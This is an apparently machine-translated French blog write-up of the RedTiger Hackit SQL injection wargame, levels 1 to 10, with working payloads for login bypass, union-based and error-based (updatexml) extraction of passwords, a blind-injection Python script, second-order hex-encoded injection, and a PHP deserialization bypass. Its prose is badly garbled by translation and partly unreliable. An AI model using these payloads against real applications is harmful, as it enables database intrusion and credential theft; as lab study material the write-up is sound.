Hackit de RedTiger WP

Hackit de RedTiger

Je wp est comme moi question l'idée d'écrire directement, non seulement d'apprendre, mais aussi de revenir plus tard quand examen des erreurs peuvent être tirées des leçons précédentes ou des idées de quelques idées intelligentes.

Il y a quelques jours seulement appris l'injection sql, aujourd'hui le site de la consolidation

niveau 1

Tout d'abord est vraiment un peu ignorant x, avec une rediffusion burp lorsque l'erreur # 400 est automatiquement supprimée puis (elle ne trouve pas), puis est allé essayer les aveugles, le résultat d'un aveugle booléenne réalisable? ? ? Je pense que la première question est pas si difficile de le faire, allez dans les autres prochaines wp, pour constater que j'étais le # burp mangé. . .

question faire le processus ou le premier bit d'écho de mesure (sur le terrain):

Ensuite , suivez les instructions directement dans la table level1_userspour obtenir le nom d' utilisateur et mot de passe

J'ai essayé aussi fondit nom de la table, mais group_concat, concat, limite sont à l'interdiction

niveau 2

Cette question est un indice: Etat ne comprenait pas ce que cela signifie = =

Ou le premier entre guillemets, pour voir si une erreur a été trouvée dans le mot de passe Ajout d'entre guillemets se plaindra

Mais seule erreur, ne pas l' écho, et ensuite la fonction de recherche de l'erreur mysql_num_rows()et l'a trouvé le nombre de lignes à renvoyer Regrouper les résultats, pensez au nombre de lignes est de déterminer si le mot de passe de compte correspondant puis penser à cette question ,,, il est un by - pass de connexion simple, si un mot de passe universel direct « ou 1 = 1 #

niveau 3

La troisième question, cette question a donné conseil: essayer d'obtenir plus tard une erreur, mais n'a pas pu trouver un point d'erreur, essayez plusieurs fois en vain, sur les prédécesseurs wp pensaient que je voyais une méthode, en passant dans le tableau, qui est,usr[]=xxxxxxxxx

Erreur dans un fichier donné, open source à l'intérieur il

<?php

    // warning! ugly code ahead :)
    // requires php5.x, sorry for that
        
    function encrypt($str)
    {
        $cryptedstr = "";
        srand(3284724);
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ rand(0, 255);
            
            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }
  
    function decrypt ($str)
    {
        srand(3284724);
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";
                
                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s ^ rand(0, 255);
                    $decStr .= chr($a);
                }
                
                return $decStr;
            }
            return false;
        }
        return false;
    }
?>

Évidemment, ceci est le cryptage du code php et le déchiffrement, puis d'injecter les déclarations lancées pour chiffrer sur la ligne, puis présenter les résultats. . .

Mon php ne sais pas quel est le problème, le code crypté est incorrect (Admin cryptage ne sont pas sur la même) = =, pour quelques versions de travail sera pas, a dû aller à copier, l'idée est la même

Essai sur le terrain et l'écho-bit

usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDc2MTc2MDc0MDM4

usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx

nom d'utilisateur et mot de passe d'explosion

usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MjMyMDI1MTA0MTUzMTc3MTUwMDA5MTkxMTMwMjA3MTY5MTIwMTUzMTk3MDQwMTA0MTc3MTQ5MjA5MTg0MTEzMDU0MTgwMjA4MTE4MjE4MTcwMTc4MDE1MTk4MDAyMTQ2MTE1MDcwMTQzMTU0MDI3MDE3MTY1MTY0MDQ3MDM2MDgwMjIzMDQ4MDc5MTI1MTAxMTA3MTU1MTQ2MDk0MTU0MjAyMDY4MDMyMjIzMTQ3MDYzMDM1MjE4MDE3MDM1MTQzMDk3MjAyMjAzMDc1MTE1MTgyMDQ5MTgy

niveau 4

Je l'ai testé et trouvé un aveugle booléenne

Jeté course sqlmap, le résultat n'a pas pu être déterminé le type de base de données sqlmap? ? ? A semblé confus, il n'y a aucune raison trouvé.

Nous avons dû écrire leur propre script (Ce code est de moi ce WP Copy dans plus = =)

def get_flag_length():
    sql = 'if((select length(keyword) from %s limit 0,1)=%d ,1 , 0)'
    sql_url = baseurl + sql
    flag_length = 1
    for i in range(0, lll):
        while flag_length:
            print(flag_length)
            res = requests.get(url=sql_url % (table_name, flag_length), headers=headers, proxies=proxy)
            if flag in res.text:
                return flag_length
            flag_length += 1
            if flag_length > 200:
                table_length = -1
                break


def get_flag_name():
    sql = 'if(ascii(substr((select keyword from %s limit 0,1), %d, 1))=%d, 1, 0)'
    sql_url = baseurl + sql
    flag_name = ''
    for no in range(1, flag_length + 1):
        for x in range(1, 200):
            res = requests.get(url=sql_url % (table_name, no, x), headers=headers, proxies=proxy)
            if flag in res.text:
                flag_name += chr(x)
                print(flag_name)
                break
            else:
                print(x)
                continue
        print(flag_name)

    print(flag_name)
    return flag_name

Enfin obtenu le drapeau

Dormir, faire demain

niveau 5

Cette question interdire la sous-chaîne, substr, "", mi

indice: pas aveugle, les mots de passe sont cryptés md5, erreur de connexion observée

Selon soupçon, faisant écho au bit de connexion mauvais endroit, la spéculation est une injection d'erreur

citations nom d'utilisateur erreur

Cette fonction est parlé à l'avant, est le nombre de lignes à renvoyer Regrouper les résultats, ce qui devrait être l'élément de données correspondant le nom d'utilisateur de requête, puis prendre le résultat de la requête de la valeur md5 et md5 (mot de passe) comparaison, l'estimation précédente erronée ( ne serait pas donné l'injection), mais union select by-pass

Les principes du code est probablement:

$con = mysqli_connect(xxxxxx)
$sql = "select * from table where username = ".$_POST["username"];
$result = mysqli_query($con, $sql);
$row_number = mysql_num_rows($result);// 返回查询结果的行数
if($row_number > 0){
    $row = mysql_fetch_assoc($result);// 将查询结果转换为关联数组
    if($row["password"] == md5($_POST["password"]))
        echo $flag;
}else
    echo "Login failed!";

Confirmé Je pense, ici sélectionnez 1 et 2 ont remplacé les résultats de la requête dans le nom d'utilisateur et mot de passe, mais ne correspond pas à

Sélectionner le nom d'utilisateur configuré union = toute valeur 1 password = md5 (valeur arbitraire 2), puis le mot de passe post-data = une valeur quelconque dans 2

bingo!

Juste exactement repas de riz, juste fini ses devoirs premier repas aujourd'hui et continuer à finir le travail

niveau 6

Voir url, il y a des paramètres utilisateur, ajouté une citation, une erreur, ce qui suggère mysql_fetch_object (), pour vérifier un peu, le rôle et la fonction de mysql_fetch_assoc () comparer des choses comparables,

Pour l'utilisateur test = 5 aucun résultat

Cependant, user = 5 ou 1 = 1 y écho, spécifient la présence du point d'injection

Aucune idée, une ligne de chaîne et de boire le soir, pas pour hier, regardez demain

Coussins pendant plusieurs jours, et aujourd'hui ces finition du foie il

Déterminer le champ de numéro (bit d'écho)

Trouver la position echo nom d'utilisateur

Mais peu importe où aucun mot de passe Echo

Wp est allé voir quelqu'un d'autre, être trouvé injection secondaire (requête), emmmm, je ne l'ai pas appris l'injection secondaire, il suffit de travailler le problème que d'apprendre les nouvelles connaissances.

Code de base pourrait être que la source

$sql="select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
$row=mysql_fetch_row($result);
$username=$row1[1];
$sql2="select username,email from level6_users where username="."'".$username."'"

Voir le code, l'idée est très claire.

La seconde est la requête avec identifiant de nom d'utilisateur pour la requête, puis utilisez le nom d'utilisateur pour interroger le nom d'utilisateur et email

Il est donc nécessaire pour atteindre les conditions suivantes:

  • Les résultats ont un utilisateur de requête nom d'utilisateur admin / status = 1
  • requêtes secondaires peuvent exporter leur mot de passe de compte

Puis, comprenant une première requête de statut nécessite une structure syndicale 1 = Le résultat du retour de l'utilisateur

5 union select 1,username,3,4,5 from level6_users where status=1

Où le champ de nom d'utilisateur est nécessaire déclaration couture sql2

username=' union select 1,username,password,4,5 from level6_users where status=1 #

Si l'épissage direct dans le cas, les citations se plaindra

5 union select 1,' union select 1,username,password,4,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

Il doit être injecté dans le codage hexadécimal

5 union select 1,0x2720756e696f6e2073656c65637420757365726e616d652c70617373776f72642c332c342c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

Essayez de trouver bit écho email 4

charge utile de réglage

5 union select 1,' union select 1,username,3,password,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

5 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

niveau 7

Au nom de la table level7_news, les noms de colonnes autor (il ne doit pas être l'auteur)

Laissez requête posté nouvelles de Google et le nom de l'auteur

interdire les commentaires, substr, substring, ascii, mi, comme

Rechercher Google, il y a une nouvelles, décidée à se faire à cet auteur

Ensuite, il y a une erreur entre guillemets

instruction SQL:SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google'%' OR text.title LIKE '%google'%')

Il y a deux arguments ce point, afin de pouvoir construire un avant et après les déclarations de clôture

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'='%') union select autor from level7_news and ('%'='%' OR text.title LIKE '%'='%') union select autor from level7_news and ('%'='%')

'='%') union select autor from level7_news and ('%'='

Mais encore une erreur, regardé sous un text.title là, considèrent que leurs idées peuvent se tromper, emmm, il peut y avoir aucune interdiction au large des commentaires, après avoir été donné afin que vous puissiez faire face à la dernière partie de la question, essayez de connaître quelques commentaires Fu, ont été l'interdiction, et de rechercher l'autre, -% a0 peut alors mesurer la position de l'écho

1%') union select 1,2,3,4 from level7_news --%a0

charge utile: 1%') union select 1,2,3,4 from level7_users --%a0

Obtenez le drapeau

niveau 8

Le but est d'obtenir le mot de passe administrateur pour modifier la boîte, la spéculation est injectée dans la mise à jour, erreur try, Email d'erreur cité au moment, ce qui indique la présence du point d'injection

Le contenu donné, le champ cis est déterminé à trouver l'instruction SQL comme E-mail, ICQ, Âge

Lire l'utilisation prochaine mise à jour

UPDATE table_name SET field1=value1, field2=value2 [where clause]

Devinez déclaration sqlupdate table set name='x',mail='x',icq='x',age=x where id=1

Le mot de passe est inséré dans le champ Adresse électronique sur la ligne

', Email="asd"

Cependant, ces champs sont en cours « » entouré, aucun moyen d'effectuer dans l'instruction SQL, observé un moment, trouvé âge n'est pas entouré par des guillemets, mais il est un champ Int type, donc la pensée ont été injectés avec une longueur et ascii, emmmmmm, la question est, de trouver des nom de la bibliothèque, les noms de table, les noms de terrain, devrait être une interdiction, pas les sites d'essai. Mais cette idée est peut-être vers le bas, peut-être utilisé plus tard pour obtenir.

Considéré sous wp, ce test est que le champ du même élément de données peut être affecté à l'autre, tels que A1 = A2

Donc, la charge utile:',email=password,icq='

Aujourd'hui, en pensant à cette question, pensez erreur d'injection UpdateXML, essayez la prochaine découverte peut éclater, mais toutes les méthodes pour vérifier les noms de base de données sont sur l'interdiction

hans@localhost' or updatexml(0x7e,(version()),0) or '

niveau 9

Le but de cette question est d'obtenir le mot de passe de compte de tout utilisateur

Pour le nom de la table level9_users

Donne des conseils Cette question est aveugle pas, vous pouvez obtenir Echo

Pour une boîte de requête, l'article doit être une requête, le nom, le titre et le texte de trois parties

A côté de citations, citations trouvées dans le corps de Riga se plaindra, ce qui indique le point d'injection de présence

Selon le résultat d'une erreur, devinez instruction SQLselect * from level9_users where title=xxx and (name like '' or title like '' or text like '')

phrase construction111') union select 1,2 from level9_users #

Des notes ont été trouvées à l'interdiction, et pour d'autres gestes jugés, -% a0 possible

Vérifiez la fonction suivante, probablement le résultat de la mise à jour avec la fonction de retour sprintf (cité raison donnée est placeholder% Nombre fermé causes incompatibles s)

mise à jour???

Essayez injection d'erreur UpdateXML

' or updatexml(0x7e,(version()),0) or 'Succès!

' or updatexml(0x7e,(select group_concat(username) from level9_users),0) or 'explosion Nom d'utilisateur

Mais il n'y a pas d'erreur! ! ! Peut-être la valeur null, essayez d'abord le mot de passe

' or updatexml(0x7e,(select group_concat(password) from level9_users),0) or 'Mot de passe d'explosion

emmmm, comment ne veulent pas voir la réponse, essayez d'abord

À l'invite, signifie probablement que l'utilisation de constante indéfinie? Regardez la force ignorante, vous devriez aller mal

emmmmm, je suis retourné à lire le document suivant, la fonction trouvé prinf () est donné insertion, pas l'opération de mise à jour

sprintf("INSERT INTO listing (name, title, text) VALUES (%s,%s,%s)", $name,$title,$text;

Est mis à

sprintf("INSERT INTO listing (name, title, text) VALUES ('$name','$title','$text')";

Lorsque insert dans, ce dernier couvrant l'ensemble avant des données peut être un ensemble de données, etc. sur une question

structure Payload

'),((select username from level9_users),(select password from level9_users),'

Ce type de réflexion est important, les données peuvent être utilisées pour couvrir les premières données

niveau 10

Cette question est sur un bouton de connexion, avec une capture burp

Il y a une chaîne de caractères, prendre decode

Php doit être des objets sérialisés, suivez les instructions, connectez-vous pour utiliser Le Maître

Tentative de connexion échoue

Aussi essayé beaucoup de posture, ont échoué, = = Je ne suis pas très familier avec la sérialisation php et de-sérialisation, voir le wp, a trouvé seulement besoin de définir un mot de passe à une valeur booléenne 1.

charge utile =login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login

résumé

L'efficacité est très faible ces jours-ci, mais a insisté Hackit de RedTiger fait. Beaucoup de connaissances des récoltes et des idées, mais aussi la perception de certains concept de sécurité. Ces bribes de connaissances sont nécessaires pour revenir en arrière et soigneusement la finition polie, en particulier dans le processus de problèmes, faire comprendre sa connaissance d'un grave manque de connaissance de la quantité, savent trop peu, trop peu. Encore faut-il jouer douzième de l'esprit, avancer d'un pas aller. La sécurité routière sera très difficile, mais aussi très heureux. Le stimulation devant la ligne qui est mon rythme.

Je suppose que tu aimes

Origine www.cnblogs.com/R3col/p/12501483.html
conseillé
Classement